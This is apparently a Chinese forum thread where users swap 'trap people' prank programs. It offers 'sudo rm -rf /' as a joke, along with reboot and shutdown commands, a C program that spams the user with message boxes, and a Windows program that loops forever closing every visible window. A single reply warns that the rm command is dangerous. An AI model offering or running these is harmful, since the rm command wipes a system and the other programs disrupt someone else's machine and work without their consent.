越多越好

坑人.exe

sudo rm -rf /
这个够坑不？

reboot

#include<stdio.h>
#include<windows.h>
int main()
{
    unsigned int n;
    int i;
    char content[60];
    char num[10];
    HWND hwd;
    char buff[50];
    printf("请输入一个整数，大小随意：");
    scanf("%d",&n);
    if(n<0) n=-n;
    if(GetConsoleTitle(buff,50)){printf("%d\n",GetLastError());return -1;}
    hwd=FindWindow(NULL,buff);
    if(hwd==NULL){printf("fail to get the window.");return -1;}
    for(i=0;i<n;i++)
    {
        strcpy(content,"请点击");
        itoa(n,num,10);
        strcat(content,num);
        strcat(content,"次确定，还有");
        itoa(n-i,num,10);
        strcat(content,num);
        strcat(content,"次，完了会有惊喜。");
        MessageBox(hwd,content,"提示",MB_OK);
    }
    MessageBox(hwd,"谢谢使用。再见！","提示",MB_OK);
    return 0;
}

这个最好不要玩,很危险的,linux这些指令被吐槽了,有个段子说某程序员去面试就输入这个指令结果~
~

shutdown -s -t1

写个程序坑楼主

#include "stdafx.h"
#include "Project1.h"

BOOL CALLBACK MyEnumFunc(HWND hwnd, LPARAM lParam);

int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPWSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
    while (1)
    {
        EnumWindows(MyEnumFunc, NULL);
        Sleep(100);
    }
        
    return 0;
}

BOOL CALLBACK MyEnumFunc(HWND hwnd, LPARAM lParam)
{
    if (IsWindowVisible(hwnd) == TRUE)
    {
        PostMessage(hwnd, WM_QUIT, NULL, NULL);
        if(IsWindow(hwnd) == TRUE) PostMessage(hwnd, WM_CLOSE, NULL, NULL);
    }
    return TRUE;
}

[此贴子已经被作者于2018-1-27 14:20编辑过]